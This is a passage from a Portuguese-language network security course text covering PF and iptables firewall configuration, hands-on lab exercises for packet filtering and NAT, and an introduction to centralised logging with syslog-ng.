ao PF, habilitando os módulos necessários. Para o funcionamento do PF no FreeBSD é 
necessário adicionar as seguintes linhas de comando no arquivo de configuração /etc/rc.conf, 
conforme mostrado abaixo:
pf_enable=”YES” # Habilita PF (se necessário 
inicia os módulos)
pf_rules=”/etc/pf.conf” # arquivo de configurações das regras do PF
pf_flags=”” # Parâmetros 
adicionais para iniciar o PF
pflog_enable=”YES” # Inicia pflogd(8)
pflog_logfile=”/var/log/pflog” # Onde serão armazenados os logs do PF
pflog_flags=”” # Parâmetrosadicionais ao iniciar os logs
Ativação 
Ocorre automaticamente editando o arquivo de configuração /etc/rc.conf conforme citado 
ou manualmente com os seguintes comandos:
# pfctl –e # Para habilitar (enable)
# pfctl –d # Para desabilitar (disable)
Quando a ativação ocorrer manualmente, o PF não carregará automaticamente o conjunto 
de regras do arquivo de configuração, o que terá de ser feito manualmente.
Controle 
Após iniciado o PF, pode ser utilizada a ferramenta pfctl para realizar as verificações e con-
trole do PF. Seguem os principais controles:
# pfctl -f /etc/pf.conf Carrega o arquivo pf.conf
# pfctl -nf /etc/pf.conf Analisa o arquivo, mas não carrega-o
# pfctl -Nf /etc/pf.conf Carrega apenas as regras de NAT do arquivo
# pfctl -Rf /etc/pf.conf Carrega apenas as regras de filtragem do 
arquivo
# pfctl -sn Mostra as regras atuais de NAT
# pfctl -sr Mostra as regras atuais de filtragem
# pfctl -ss Mostra a tabela de estados atual
# pfctl -si Mostra as estatísticas e os contadores de 
filtragem
# pfctl -sa Retorna TUDO o que pode ser mostrado
68
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Configuração 
A sintaxe do PF pode ser resumida da seguinte forma:
ação [direção] [log] [quick] [on interface] [fam_de_end] [proto 
protocolo] \
 [from end_de_or [port porta_de_or]] [to end_de_dest [port porta_
de_dest]] \
 [flags sinalizadores_tcp] [estado]
 1 Ação: executada nos pacotes que corresponderem à regra. Pode ser pass ou block.
 1 Direção: sentido do fluxo do pacote na interface. Pode ser in (entrando) ou out (saindo).
 1 Log: especifica que o pacote deve ser logado.
 1 uick: significa que essa deve ser a última regra a ser analisada, não verificando 
as regras seguintes.
 1 Interface: nome da interface de rede que o pacote está passando, como fxp0 e en0.
 1 Fam_de_end: protocolo que está sendo analisado; inet para IPv4 e inet6 para IPv6.
 1 Protocolo: protocolo da camada de transporte que está sendo analisado, pode ser TCP, 
UDP ou qualquer outro protocolo especificado no arquivo /etc/protocols.
 1 End_de_or, end_de_dest: endereços de origem e/ou destino especificado no cabeçalho 
dos pacotes IP. Pode ser especificado endereço de host, blocos CIDR com uso da barra, 
por exemplo: 192.168.1.0/24.
 1 Porta_de_or, porta_de_dest: especifica o número da porta do cabeçalho da camada de 
transporte. Pode ser representado por número de 1 a 65535, um nome de serviço válido 
no arquivo /etc/services, um grupo de portas usando uma lista, ou ainda um range utili-
zando os seguintes símbolos:
 2 != (diferente de)
 2 < (menor que)
 2 > (maior que)
 2 <= (menor ou igual a)
 2 >= (maior ou igual a)
 2 >< (uma faixa)
 1 Sinalizadores TCP: especificam as flags do cabeçalho TCP para serem analisadas, como 
por exemplo AS, que verifica se as flags SYN e ACK estão ligadas.
Uma regra pode ser criada, por exemplo, para permitir acesso ao serviço SSH, tendo como 
origem da conexão o endereço IP de um segmento de rede:
pass in quick on fxp0 proto tcp from 192.168.1.4/30 to 192.168.1.1 
port ssh
block in quick on fxp0 proto tcp from any to any port ssh
pass in all
69
 
C
ap
ítu
lo
 3
 - 
Fi
re
w
al
l –
 C
on
ce
ito
s 
e 
Im
pl
em
en
ta
çã
o
Firewall Builder
q 1 Interface gráfica.
 1 Padronização da configuração.
 1 Minimização de erros.
O uso de ferramenta gráfica para gerenciamento de firewalls é fortemente recomendado, 
sobretudo quando os firewalls se tornam muito complexos. O uso de ferramentas gráficas 
reduz o tempo de configuração e diminui de forma drástica a possibilidade de erro na codifi-
cação da regra desejada.
O Firewall Builder é um projeto disponível em dois tipos de licença, software livre para Linux 
e FreeBS, e licença comercial para Windows e MAC OS. É instalado na máquina do adminis-
trador do firewall, que envia a sintaxe para o firewall, que a escreve automaticamente para 
o host do Iptables. É uma ferramenta capaz de manipular regras do Packet Filter (PF do 
OpenBSD e FreeBSD) e outros roteadores e firewalls comerciais. 
A configuração gráfica da figura 3.7 representa os seguintes comandos no Iptables:
# iptables –F # Limpa todas regras do 
Iptables
# iptables –P INPUT ACCEPT # Define a regra padrão 
permitir
# iptables –P OUTPUT ACCEPT # todos pacotes que chegarem 
# iptables –P FORWARD ACCEPT # ao firewall
Figura 3.7 
Exemplo de 
configuração 
Netfilter.
70
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
# iptables -A FORWARD -i eth1 -d 192.168.1.0/24 -j DROP # Bloqueia o 
tráfego com 
# iptables -A INPUT -i eth1 -d 192.168.1.0/24 -j DROP # destino à 
rede 192.168.1.0
# os comandos abaixo liberam as portas destino 80/TCP, 53/TCP e 53/
UDP com origem
# na rede 192.168.1.0
# iptables -A FORWARD -i eth0 -s 192.168.1.0/24 -p tcp --dport 80 -j 
ACCEPT 
# iptables -A FORWARD -i eth0 -s 192.168.1.0/24 -p tcp --dport 53 -j 
ACCEPT
# iptables -A FORWARD -i eth0 -s 192.168.1.0/24 -p udp --dport 53 -j 
ACCEPT
# iptables -L -n
Chain INPUT (policy ACCEPT)
target prot opt source destination 
DROP all -- 0.0.0.0/0 192.168.1.0/24 
Chain FORWARD (policy ACCEPT)
target prot opt source destination 
DROP all -- 0.0.0.0/0 192.168.1.0/24 
ACCEPT tcp -- 192.168.1.0/24 0.0.0.0/0 tcp 
dpt:80 
ACCEPT tcp -- 192.168.1.0/24 0.0.0.0/0 tcp 
dpt:53 
ACCEPT udp -- 192.168.1.0/24 0.0.0.0/0 udp 
dpt:53 
Chain OUTPUT (policy ACCEPT)
target prot opt source destination 
# 
71
 
C
ap
ítu
lo
 3
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
Roteiro de Atividades 3
Atividade 1 – Filtros de pacotes
Na criação de regras em filtros de pacotes é preciso traduzir os acessos que queremos 
permitir ou bloquear, em regras baseadas em endereços IP, portas e flags. Utilizando a lin-
guagem fictícia dos exemplos, crie regras para as seguintes situações. Caso seja necessário, 
invente uma sintaxe para novos parâmetros:
1. Permitir conexões TCP (ida e volta) para envio de correio eletrônico para um servidor 
SMTP no endereço IP 192.168.5.1.
2. Bloquear conexões provenientes do endereço IP 192.168.4.5.
3. Permitir conexões UDP para o servidor DNS, endereço IP 192.168.10.5.
4. Permitir pacotes ICMP echo-request e echo-reply (ping).
5. Pesquise na internet informações de portas e parâmetros para auxílio na elaboração 
das regras.
Atividade 2 – Topologias de firewall
Durante a parte teórica, vimos alguns modelos de topologias de firewall. Apesar de didá-
ticos, em situações da vida real eles devem ser adaptados para cada tipo de rede que 
encontramos. Com base nas topologias a seguir, procure criar um perímetro, respeitando o 
princípio do ponto único e pensando no mínimo de exposição da rede à internet.
1. 
Servidor 
mainframe
PC PC PC PC
Intranet Internet 
R2 R1
8 
M
bp
s
20
 M
bp
s
Servidor de 
banco de dados
Servidor 
de e-mail
Servidor de 
aplicações web
72
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
2. 
Internet 
Servidor 
mainframe PC PC PC PC
R2
R1
20
 M
bp
s
Servidor de 
aplicações web
Servidor 
de e-mail
Servidor de 
banco de dados
Atividade 3 – Topologias de firewall
A partir desta atividade o roteiro está dividido em três partes. Na primeira, o aluno programará 
um controle de pacotes para permitir a comunicação entreos hosts descritos na topologia do 
laboratório. Na segunda parte, programará a tradução de pacotes. Na terceira e última parte, 
o aluno vai gerenciar toda a configuração feita com uma interface de gerência gráfica.
Topologia A Topologia B
DHCP
FWGW1
Servidor 
Windows
Servidor 
Linux
Host Windows
Rede local 10.1.1.0/24
DMZ 172.16.1.0/24 
DHCP
FWGW1
Servidor 
Windows
Servidor 
Linux
Host Windows
Rede local 10.1.2.0/24
DMZ 172.16.2.0/24
Internet 
Figura 3.8 
Topologia do 
laboratório.
73
 
C
ap
ítu
lo
 3
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
O laboratório será dividido em dois grupos, definidos pelo instrutor. Cada aluno participará 
apenas de um grupo: Topologia A ou Topologia B. 
Observe que o endereço IP das redes é diferente para cada grupo:
 1 Rede Local: 10.1.G.0/24
 1 Rede DMZ: 172.16.G.0/24
Onde: 
 1 G =1 – Grupo Topologia A 
 1 G=2 – Grupo Topologia B
A figura 3.9 mostra uma listagem com a descrição dos serviços disponibilizados pelos 
servidores da DMZ.
Servidor Serviço Protocolo Porta Descrição
Win2008 IIS TCP 80 Servidor de aplicação web
Win2008 IIS TCP 443 Servidor de aplicação web
Win2008 FTP TCP 21 Servidor de arquivos FTP
Win2008 RDP TCP 3389 Servidor de conexão remota
Win2008 NTP UDP 123 Servidor de hora
LinServer Apache TCP 80 Servidor de páginas HTML
LinServer Bind UDP 53 Servidor de resolução de nomes
LinServer Postgres TCP 5432 Servidor de banco de dados
LinServer Postfix TCP 25 Servidor de mensagens
LinServer Postfix TCP 110 Servidor POP3
LinServer SSH TCP 22 Servidor de comandos remotos
LinServer NTP UDP 123 Servidor de hora
Atividade 4 – Filtro de pacotes
Nesta atividade, iremos configurar o controle de pacotes TCP/IP no host FWGW1, fazendo-o 
atuar como filtro de pacotes da rede. Tomaremos como padrão a topologia da Figura 3.8 e 
os serviços DMZ da Figura 3.9. A realização desta atividade é fundamental para a realização 
das demais atividades deste curso.
A política de filtros de pacotes será a mais restritiva possível, permitindo somente as 
conexões previamente definidas no filtro de pacotes. Dessa forma, a regra padrão é negar 
todos os pacotes que chegarem, saírem e/ou atravessarem o firewall. A política de filtros 
de pacotes será a mais restritiva possível, de modo que somente as conexões previamente 
definidas deverão ser permitidas em nosso filtro de pacotes.
Figura 3.9 
Serviços DMZ.
74
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
A cada item a seguir, será preciso verificar a configuração com o auxílio dos seguintes comandos:
# iptables –L (Lista a configuração corrente de filtro de pacotes)
# iptables –t nat –L (Lista a configuração corrente de NAT)
# iptables –F (Apaga todas as regras existentes)
# iptables –t nat –F (Apaga todas as regras de NAT)
# apt-get install tcpdump
# tcpdump (Vai auxiliar na verificação de pacotes chegando ao 
firewall)
Acesso ao firewall 
Configure no firewall acesso de gerência SSH e ICMP, somente para pacotes originados da 
estação de trabalho Windows XP, e teste o funcionamento das regras originando acessos dos 
servidores Linux e Windows 2008 ao firewall.
Passo 1 No console do VirtualBox, acesse a máquina FWGW1. Entre com as credenciais 
de usuário root.
Passo 2 Edite o arquivo de configuração /etc/sysctl.conf, para habilitar o roteamento de 
pacotes do kernel do Linux; para isso retire o comentário da linha:
net.ipv4.ip_forward=1
Para ativar essa nova configuração sem a necessidade de reiniciar o host 
Linux, entre com o comando:
# sysctl –p
Passo 3 Crie o arquivo de configuração /etc/iptables.up.rules com o editor de texto de 
sua preferência. 
Adicione as regras abaixo para deixar a política padrão do firewall o mais 
restritiva possível.
*filter
:INPUT DROP
:FORWARD DROP
:OUTPUT ACCEPT
COMMIT
Passo 4 Aplique as regras do arquivo de configuração ao firewall da máquina com o 
seguinte comando:
# iptables-restore < /etc/iptables.up.rules
Passo 5 Teste o funcionamento do firewall. Na máquina Windows XP realize o teste de 
ping no firewall, com o comando:
c:\> ping 10.1.G.1
Para mais informações 
sobre a configuração 
do Netfilter no Debian, 
visite: http://wiki.
debian.org/iptables.
w
75
 
C
ap
ítu
lo
 3
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
Passo 6 Edite novamente o arquivo de configuração do firewall e adicione as regras 
que permitam o gerenciamento e o troubleshooting do firewall, permitindo 
acesso SSH e ping originados da máquina Windows XP:
# Permite todo tráfego loopback
-A INPUT -i lo -j ACCEPT
-A INPUT -i ! lo -d 127.0.0.0/8 -j REJECT
# permite manutenção do estado de conexões
-A INPUT –m state –-state ESTABLISHED,RELATED –j ACCEPT
# Permite gerência via SSH
-A INPUT -p tcp -s 10.1.G.10 --dport 22 –m state –-state 
NEW,ESTABLISHED -j ACCEPT
# Permite PING
-A INPUT -p icmp -s 10.1.G.10 -m icmp -j ACCEPT
Para aplicar a configuração atualizada no arquivo:
# iptables-restore < /etc/iptables.up.rules
Para verificar as regras aplicadas no firewall:
FWGW1-A:~# iptables -L -n
Passo 7 Realize novamente o teste do Passo 6.
Passo 8 Acesse o firewall com o protocolo SSH a partir da máquina Windows XP utili-
zando o aplicativo Putty.
76
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Acesso através do firewall da rede local à DMZ 
Configure no firewall permissão de acesso somente dos pacotes originados nas máquinas da 
rede local que atravessarão o firewall com destino aos serviços da DMZ descritos na Figura 3.9.
Passo 1 A partir da máquina Windows XP, acesse o firewall via SSH utilizando o Putty. 
Entre com o usuário aluno e mude para acesso privilegiado utilizando: 
sudo su -
Passo 2 Edite o arquivo de configuração do firewall para permitir as regras de 
comunicação das máquinas da rede local com os serviços da DMZ.
Adicione as seguintes regras:
# Permite as conexões estabelecidas
 -A FORWARD -m state --state ESTABLISHED,RELATED –j ACCEPT
# Acesso da Rede Local a DMZ
 -A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.20/32 --dport 
80 -j ACCEPT
 -A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.20/32 --dport 
443 -j ACCEPT
 -A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.20/32 --dport 
21 -j ACCEPT
 -A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.20/32 --dport 
3389 -j ACCEPT
 -A FORWARD -p udp -s 10.1.G.0/24 -d 172.16.G.20/32 --dport 
123 -j ACCEPT
 -A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport 
80 -j ACCEPT
 -A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport 
5432 -j ACCEPT
 -A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport 
25 -j ACCEPT
 -A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport 
110 -j ACCEPT
 -A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport 
22 -j ACCEPT
 -A FORWARD -p udp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport 
53 -j ACCEPT
 -A FORWARD -p udp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport 
123 -j ACCEPT
Passo 3 Aplique a nova configuração ao firewall com o comando:
# iptables-restore < /etc/iptables.up.rules
Passo 4 Realize teste de conexão a partir da máquina Windows XP ao servidor web 
do LinServer.
Passo 5 Conecte via SSH utilizando o aplicativo Putty no LinServer.
77
 
C
ap
ítu
lo
 3
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
Acesso através do firewall da DMZ à internet 
Configure no firewall permissão de acesso somente dos pacotes originados nos servidores da 
DMZ que atravessarão o firewall com destino à internet.
Passo 1 A partir da máquina Windows XP, acesse o firewall via SSH utilizando o Putty. 
Entre com o usuário aluno e mude para acesso privilegiado utilizando: 
sudosu -
Passo 2 Edite o arquivo de configuração do firewall para permitir as regras de 
comunicação das máquinas da rede local com a internet.
Exemplo:
# Acesso a internet da DMZ
 -A FORWARD -p tcp -s 172.16.G.0/24 -o eth0 -j ACCEPT
 -A FORWARD -p udp -s 172.16.G.0/24 -o eth0 -j ACCEPT
Passo 3 Aplique a nova configuração no firewall com o comando:
# iptables-restore < /etc/iptables.up.rules
Passo 4 Realize teste de conexão a partir da máquina da rede DMZ. Por exemplo: veri-
fique se o servidor LinServer estabelece conexão no repositório do Debian, 
para saber se existem atualizações para os pacotes instalados no sistema, 
com o comando:
# apt-get check-update
Observe que o acesso à internet ainda não será possível por ainda faltar a 
configuração da tradução de endereços (NAT).
78
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Acesso através do firewall da internet à DMZ 
Configure no firewall permissão de acesso somente dos pacotes originados na internet, que 
atravessarão o firewall com destino aos serviços da DMZ descritos na Figura 3.9.
Passo 1 A partir da máquina Windows XP, acesse o firewall via SSH utilizando o Putty. 
Entre com o usuário aluno e mude para acesso privilegiado utilizando: 
sudo su -
Passo 2 Edite o arquivo de configuração do firewall para permitir as regras de 
comunicação das máquinas da rede local com a internet.
Exemplo:
# Acesso da Internet a DMZ
 -A FORWARD -p tcp -i eth0 -d 172.16.G.20/32 --dport 80 -j 
ACCEPT
 -A FORWARD -p tcp -i eth0 -d 172.16.G.20/32 --dport 443 -j 
ACCEPT
 -A FORWARD -p tcp -i eth0 -d 172.16.G.20/32 --dport 21 -j 
ACCEPT
 -A FORWARD -p tcp -i eth0 -d 172.16.G.20/32 --dport 3389 -j 
ACCEPT
 -A FORWARD -p udp -i eth0 -d 172.16.G.20/32 --dport 123 -j 
ACCEPT
 -A FORWARD -p tcp -i eth0 -d 172.16.G.10/32 --dport 80 -j 
ACCEPT
 -A FORWARD -p tcp -i eth0 -d 172.16.G.10/32 --dport 5432 -j 
ACCEPT
 -A FORWARD -p tcp -i eth0 -d 172.16.G.10/32 --dport 25 -j 
ACCEPT
 -A FORWARD -p tcp -i eth0 -d 172.16.G.10/32 --dport 110 -j 
ACCEPT
 -A FORWARD -p tcp -i eth0 -d 172.16.G.10/32 --dport 22 -j 
ACCEPT
 -A FORWARD -p udp -i eth0 -d 172.16.G.10/32 --dport 53 -j 
ACCEPT
 -A FORWARD -p udp -i eth0 -d 172.16.G.10/32 --dport 123 -j 
ACCEPT
Passo 3 Aplique a nova configuração no firewall com o comando:
# iptables-restore < /etc/iptables.up.rules
79
 
C
ap
ítu
lo
 3
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
Atividade 5 – Controle de NAT
O principal objetivo desta atividade é demonstrar o entendimento do funcionamento dos 
tipos de NAT e aplicá-los em uma simulação de caso real.
Utilizando os conceitos aprendidos, será necessário configurar o NAT no gateway FWGW1 
para permitir o acesso à internet das máquinas da rede local e da DMZ. Também será neces-
sária a configuração do NAT para publicação dos serviços da DMZ na internet. 
Qual tipo de NAT é necessário configurar em cada um dos casos?
1. Configure no firewall o tipo de NAT necessário para permitir o acesso dos servidores da 
DMZ à internet.
Passo 1 A partir da máquina Windows XP, acesse o firewall via SSH utilizando o Putty. 
Entre com o usuário aluno e mude para acesso privilegiado com o comando: 
sudo su -
Carregue o módulo de NAT:
# modprobe iptable_nat
Passo 2 Edite o arquivo de configuração do firewall para permitir as regras de comuni-
cação de NAT das máquinas da rede local à internet.
No início do arquivo de configuração do firewall (/etc/iptables.up.rules), 
adicione as seguintes linhas:
*nat
:PREROUTING ACCEPT
:POSTROUTING ACCEPT
:OUTPUT ACCEPT 
# NAT de saída da rede DMZ para a internet
-A POSTROUTING -s 172.16.G.0/24 -o eth0 -j MASQUERADE
COMMIT
Passo 3 Aplique a nova configuração ao firewall com o comando:
# iptables-restore < /etc/iptables.up.rules
Passo 4 Realize teste de conexão a partir da máquina da rede DMZ: com o comando abaixo, 
verifique se o servidor LinServer estabelece conexão no repositório do Debian, 
para saber se existem atualizações para os pacotes instalados no sistema:
# apt-get update
80
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
2. Configure no firewall o tipo de NAT necessário para publicar os serviços do LinServer da 
DMZ na internet.
Passo 1 A partir da máquina Windows XP, acesse o firewall via SSH utilizando o Putty. 
Entre com o usuário aluno e mude para acesso privilegiado utilizando: 
sudo su -
Passo 2 Edite o arquivo de configuração do firewall para permitir as regras de comuni-
cação de NAT necessárias para publicar os serviços da DMZ na internet.
# NAT de Entrada da Internet para o LinServer da DMZ
-A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j DNAT 
--to-destination 172.16.G.10
-A PREROUTING -i eth0 -p tcp -m tcp --dport 5432 -j DNAT 
--to-destination 172.16.G.10
-A PREROUTING -i eth0 -p tcp -m tcp --dport 25 -j DNAT 
--to-destination 172.16.G.10
-A PREROUTING -i eth0 -p tcp -m tcp --dport 110 -j DNAT 
--to-destination 172.16.G.10
-A PREROUTING -i eth0 -p udp -m udp --dport 53 -j DNAT 
--to-destination 172.16.G.10
Passo 3 Aplique a nova configuração ao firewall com o comando:
# iptables-restore < /etc/iptables.up.rules
Passo 4 Solicite a um colega de outro grupo para acessar os serviços disponíveis em sua 
DMZ; é necessário passar o endereço IP público da publicação dos serviços.
Atividade 6 – Gerenciamento gráfico do Firewall Builder 
Baixe da internet a última versão de demonstração de 30 dias do Firewall Builder. Instale o 
aplicativo no host Windows XP.
Adicione o firewall FWGW1 como objeto e siga as orientações iniciais do instrutor para 
concluir as seguintes atividades:
 1 Configure as regras de filtro de pacotes da atividade 1.1 e gere o arquivo de configuração. 
Compare a sintaxe com as atividades já realizadas.
 1 Configure as regras de NAT já aprendidas nas atividades anteriores e gere o arquivo de 
configuração. Compare a sintaxe do arquivo gerado com as atividades já realizadas.
Atividade 7 – Identificando as regras do firewall
As regras abaixo listadas são interessantes de serem utilizadas em um firewall com Iptables. 
Observe cada uma das regras abaixo e realize uma descrição sucinta do seu objetivo e uso.
-A INPUT –p tcp ! –syn –m state --state NEW –j DROP
-A INPUT –f –j DROP
-A INPUT –p tcp --tcp-flags ALL ALL –j DROP
-A INPUT –p tcp --tcp-flags ALL NONE –j DROP
-A INPUT –s 127.0.0.1 –i eth0 –j DROP
-A INPUT ! –s 172.16.G.0/24 –i eth1 –j DROP
81
 
C
ap
ítu
lo
 4
 - 
Se
rv
iç
os
 b
ás
ic
os
 d
e 
se
gu
ra
nç
a
ob
je
tiv
os
conceitos
4
Serviços básicos de segurança
Apresentar os serviços fundamentais para buscar evidências de problemas nos 
sistemas computacionais em rede.
 
Gerenciamento de logs, sincronismo de tempo e monitoramento de serviços.
 
 
Introdução
Neste capítulo, serão apresentadas técnicas e tecnologias para o monitoramento de dispositivos 
e recursos de redes. Ao final, o aluno será capaz de compreender as técnicas e realizar a configu-
ração de ferramentas de sincronismo de tempo, centralização de logs e monitoria de serviços.
Este capítulo não tem o objetivo de instruir o aluno na instalação dessas ferramentas; 
para isso, recomendamos a consulta aos sites de cada ferramenta. Para a realização das 
atividades em laboratório, as ferramentas serão instaladas com foco no entendimento de 
seu funcionamento e configuração.
Exercício de nivelamento 1 e 
Serviços básicos de segurança
O que você entende monitoramento dos recursos de redes?
O que são logs?
Gerenciamento de logs
q 1 Gerenciamento centralizado.
 1 Requisitos de gerenciamento de logs.
 1 Preservação dos registros em caso defalha do dispositivo.
 1 Proteção contra sistemas ou usuários mal-intencionados.
O uso de serviços de log centralizados é importante para o gerenciamento de falhas nos dis-
positivos e no gerenciamento da segurança com a preservação do registro de eventos em 
82
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
casos de falhas de sistema ou comprometimento de algum dispositivo da rede. Cada orga-
nização possui requisitos diferentes de gerenciamento de logs, que determinarão o detalha-
mento dos logs coletados, por quanto tempo serão armazenados e como serão analisados.
No gerenciamento de logs, o objetivo é concentrar em um sistema todos os eventos dos equi-
pamentos da rede, softwares de segurança, sistemas operacionais e aplicativos.
É necessário concentrar esforços para que esses dados não sejam comprometidos por sis-
temas mal-intencionados. Eles serão úteis na análise de incidentes de segurança ou falhas 
computacionais. Para isso é necessário que o servidor de logs esteja protegido por um 
sistema de controle de perímetro, já mencionado nas sessões anteriores. Também é neces-
sária a realização de uma configuração segura do servidor, o que será visto adiante.
Syslog-ng
qSource 
É como o syslog-ng vai receber as mensagens. Exemplo: Unix socks“/dev/log” ou outras 
fontes.
Destination 
É para onde serão enviados ou guardados os logs recebidos pelo syslog-ng. Exemplo: 
arquivo local, rede, SGDB Oracle, MySQL etc.
Log Paths 
No syslog-ng podem ser definidas várias origens e destinos. O objeto “global log” define 
o destino de cada origem ou de um conjunto delas.
Filter 
Os filtros do syslog-ng incrementam a forma como serão realizados os caminhos dos logs:
 1 Syslog-ng como agente.
 1 Syslog-ng como servidor.
O syslog-ng é uma ferramenta distribuída com a licença de software livre, muito utilizada 
atualmente. É uma solução que, pela sua qualidade do código, permite a criação de um ser-
vidor de logs na rede para vários clientes. 
O syslog-ng é uma implementação do protocolo Syslog, definido pela RFC 5424 – The Syslog 
Protocol. Essa RFC define o protocolo e uma série de particularidades, incluindo a porta 
padrão do protocolo (UDP 514) e as facilidades e severidades. As facilidades são categorias 
que indicam a origem da mensagem. Através delas é possível separar os registros de log em 
arquivos separados, organizando melhor as informações. A lista a seguir apresenta todas as 
facilidades definidas na RFC, com seus respectivos códigos e siglas:
Código Nome Sigla
0 kernel messages kern
1 user-level messages user
2 mail system mail
3 system daemons daemon
4 security/authorization messages auth
5 messages generated internally by syslogd syslog
Saiba mais
Para definir a estratégia 
de logs, recomendamos 
o artigo Guide to 
Computer Security Log 
Management, de Karen 
Kent e Murugiah 
Souppaya, do NIST 
(National Institute 
of Standarts and 
Technology). 
d
83
 
C
ap
ítu
lo
 4
 - 
Fi
re
w
al
l –
 C
on
ce
ito
s 
e 
Im
pl
em
en
ta
çã
o
Código Nome Sigla
6 line printer subsystem lpr
7 network news subsystem news
8 UUCP subsystem uucp
9 clock daemon cron
10 security/authorization messages authpriv
11 FTP daemon ftp
12 NTP subsystem ntp
13 log audit audit
14 log alert alert
15 clock daemon cron
16 local use 0 local0
17 local use 1 local1
18 local use 2 local2
19 local use 3 local3
20 local use 4 local4
21 local use 5 local5
22 local use 6 local6
23 local use 7 local7
Conforme já mencionado, além das facilidades, temos ainda as severidades, que indicam 
o nível de “profundidade” do registro de log correspondente. As severidades definidas no 
padrão estão na tabela abaixo:
Código Descrição Sigla
0 Emergency emerg
1 Alert alert
2 Critical crit
3 Error err
4 Warning warning
5 Notice notice
6 Informational info
7 Debug debug
Quando uma severidade 0 é definida no sistema, significa que apenas as mensagens 
emergenciais serão registradas. À medida que o código da severidade vai aumentando, 
temos mais detalhes do sistema e por consequência a quantidade dos registros aumenta 
84
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
até a severidade 7, onde todas as ações são registradas. A severidade 7 é útil no auxílio de 
resolução de problemas, como quando um determinado sistema não está se comportando 
como se espera.
O syslog-ng é suportado por ambientes heterogêneos, podendo ser configurado em máquinas 
Linux, BSD e Unix como agente e servidor. Quando o syslog-ng é utilizado como agente ou 
servidor, é possível que as mensagens sejam transmitidas de forma criptografada na rede. 
É possível também sua configuração em sistemas MS Windows, mas somente como agente.
qO syslog-ng é configurado editando o arquivo de configuração “syslog-ng.conf”. 
O conceito da configuração do syslog-ng é definir os objetos globais, que são:
 1 Source: é como o syslog-ng vai receber as mensagens; como agente, ele pode receber 
os logs do sistema do arquivo especial do Unix socks “/dev/log” ou outras fontes.
 1 Destination: é para aonde serão enviados ou guardados os logs recebidos pelo 
syslog-ng; o destino pode ser um arquivo local, um servidor de Syslog na rede ou 
até mesmo um servidor de banco de dados Oracle, MySQL, Microsoft SQL Server ou 
outros destinos.
 1 Log Paths: no syslog-ng podem ser definidas várias origens e destinos; o objeto 
“global log” define o destino de cada origem ou de um conjunto delas.
 1 Filter: os filtros do syslog-ng incrementam a forma como serão realizados os cami-
nhos dos logs; assim, uma origem ou um grupo de origens não precisa necessaria-
mente ser encaminhado para um destino ou um grupo de destinos, sendo possível 
filtrar cada tipo de mensagem de origem e com base nesse filtro escolher o destino.
O fluxo do syslog-ng é ter uma origem ou um conjunto delas, um filtro e um destino ou um 
conjunto deles, conforme ilustra a próxima figura.
Origem 1
Origem 2
Origem n
Destino 1
Destino 2
Destino n
Filtro
Syslog-ng como agente 
qSe, por exemplo, em um servidor Linux desejamos enviar todas as mensagens do 
sistema e do próprio syslog-ng para um servidor syslog-ng da rede configurada com o 
endereço IP 10.20.30.2 na porta UDP 514, teremos a seguinte sintaxe para o arquivo de 
configuração “syslog-ng.conf”:
source s_local { unix-stream(“/dev/log”); internal(); };
destination d_syslog-server {udp(“10.20.30.2” port(514)); };
log { source(s_local); destination(d_syslog-server); };
Figura 4.1 
Fluxo syslog-ng.
85
 
C
ap
ítu
lo
 4
 - 
Fi
re
w
al
l –
 C
on
ce
ito
s 
e 
Im
pl
em
en
ta
çã
o
Syslog-ng como servidor 
qNeste exemplo, teremos a sintaxe do arquivo de configuração do servidor syslog-ng 
para receber as mensagens dos agentes. Dessa forma, o servidor está configurado para 
receber as mensagens de syslog na porta UDP 514 e armazenar no arquivo do cliente 
específico do diretório “/var/log/agente.log”, onde o termo agente será substituído pelo 
hostname do agente:
source s_rede { udp(ip(10.20.30.2 port(514)); };
destination d_hosts-file {file(“/var/log/$HOSTS.log“); };
log { source(s_rede); destination(d_hosts-file); };
As facilidades podem ser configuradas no syslog-ng através dos filtros, como no exemplo 
de configuração abaixo:
filter f_cron { facility(cron); };
log { source(s_local); filter (f_cron); destination (d_net); };
As severidades podem ser configuradas conforme o exemplo abaixo:
filter f_debug { level(debug); };
filter f_at_least_info { level(info..emerg); };
No exemplo anterior, verifica-se que pode ser criadoum filtro contendo mais de uma severidade. 
Exercício de fixação 1 e 
Gerenciamento de logs
Explique os objetivos do gerenciamento de logs.
Exercício de fixação 2 e 
Syslog
O que é um syslog-ng?
Logs do Windows
qOs logs centralizados possibilitam a análise de correlação de logs
 1 http://www.syslog.org/wiki/Main/LogAnalyzers
 1 http://www.ossec.net/
WinLogd é um sistema capaz de capturar os logs do Microsoft Windows e enviá-los para 
o sistema de syslog Unix, como o syslog-ngUma vantagem importante da centralização 
de logs é a possibilidade de analisar a correlação entre eles, de modo a confrontar logs de 
diferentes origens e chegar a conclusões interessantes sobre o funcionamento da rede. 
86
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
